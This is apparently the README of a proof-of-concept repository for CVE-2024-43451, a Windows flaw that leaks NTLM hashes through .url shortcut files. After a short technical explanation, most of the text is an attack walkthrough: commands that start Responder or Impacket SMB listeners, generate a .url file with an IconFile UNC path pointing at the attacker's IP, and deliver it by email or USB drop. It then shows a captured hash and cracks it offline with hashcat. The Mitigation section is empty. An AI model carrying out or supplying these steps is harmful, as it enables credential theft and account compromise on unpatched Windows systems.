CVE-2024-43451 — Windows NTLM Hash Disclosure Spoofing Vulnerability

Overview

CVE-2024-43451 is an NTLMv2 hash disclosure spoofing vulnerability in Windows. It allows an unauthenticated remote attacker to leak a victim's NTLM hash by convincing them to interact with a malicious .url shortcut file. The vulnerability is triggered with minimal user interaction — merely right-clicking, deleting, or moving the file is sufficient to leak the hash. It carries a CVSS score of 6.5 (Medium) and has been actively exploited in the wild. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog.

Technical Details

NTLM Authentication

NTLM (NT LAN Manager) is a challenge-response authentication protocol used by Windows. When a client attempts to access a resource via SMB, the client and server perform a handshake:

1. The client sends a NEGOTIATE_MESSAGE containing supported capabilities.
2. The server responds with a CHALLENGE_MESSAGE containing an 8-byte nonce (server challenge).
3. The client responds with an AUTHENTICATE_MESSAGE containing the NTLMv2 hash — an HMAC-MD5 of the challenge combined with the user's password hash, username, and domain.

If an attacker can observe or trigger an NTLM authentication attempt to a machine they control, the captured AUTHENTICATE_MESSAGE can be cracked offline to recover the plaintext password.

.url File Format

A .url file is a shortcut file used by Internet Explorer and Windows Explorer to store links. It is an INI-formatted file with an [InternetShortcut] section. The critical fields for exploitation are:

• URL= — the target URL that Windows will open.
• IconFile= — an optional UNC path to an icon resource. When Windows Explorer renders the file, it automatically attempts to retrieve the icon from the remote share, triggering an NTLM authentication attempt to the attacker's server.

Attack Vector

The attacker crafts a .url file with an IconFile parameter pointing to \\attacker-ip\share\icon.ico. When the victim:

• Right-clicks the file (Windows Explorer fetches the icon for the context menu),
• Moves or copies the file (icon is re-read), or
• Deletes the file (icon is fetched for the recycle bin dialog),

Windows Explorer attempts to load the icon from the UNC path, sending the victim's NTLMv2 hash to the attacker's SMB listener (e.g., Responder).

Affected Versions

All supported versions of Windows prior to the November 2024 Patch Tuesday update:

• Windows 10 (all versions)
• Windows 11
• Windows Server 2016 / 2019 / 2022 / 2025
• Windows Server 2008 / 2012 R2
• Older unsupported versions are also likely vulnerable but will not receive patches.

Exploitation Setup

Requirements

• Attacker machine: Linux or Windows with an SMB capture tool (e.g., Responder, Impacket's smbserver, or Inveigh).
• Victim machine: Any unpatched Windows system.
• Network access: The victim must be able to reach the attacker's IP on port 445 (SMB).

Tools

Reproduction Steps

1. Start the SMB listener (attacker machine)

Using Responder:

sudo responder -I eth0 -v

Or using Impacket:

sudo impacket-smbserver share . -smb2support

2. Generate the malicious .url file

python exploit.py --ip 192.168.1.100 --output malicious.url

3. Deliver the file to the victim

• Email attachment, USB drop, file share, or web download.

4. Victim interaction

Any of the following actions triggers the hash leak:

• Right-click → the icon is fetched for the context menu → NTLM handshake sent to attacker
• Delete → the icon is fetched for the confirmation dialog
• Move/Copy → the icon is re-read from the UNC path
• Simply viewing the folder in Details or Icons view (icon loading)

5. Capture the hash

The attacker's SMB listener receives an NTLMv2 hash:

[SMB] NTLMv2-SSP Hash     : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

6. Crack the hash (offline)

hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt

Proof of Concept

# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
#   \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.

Mitigation

References

• Microsoft Security Response Center — CVE-2024-43451
• CISA Known Exploited Vulnerabilities Catalog
• NVD — CVE-2024-43451
• Responder — GitHub
• Impacket — GitHub
• The Hacker News — Ukrainian targeted attacks
• UAC-0194 / SparkRAT campaign analysis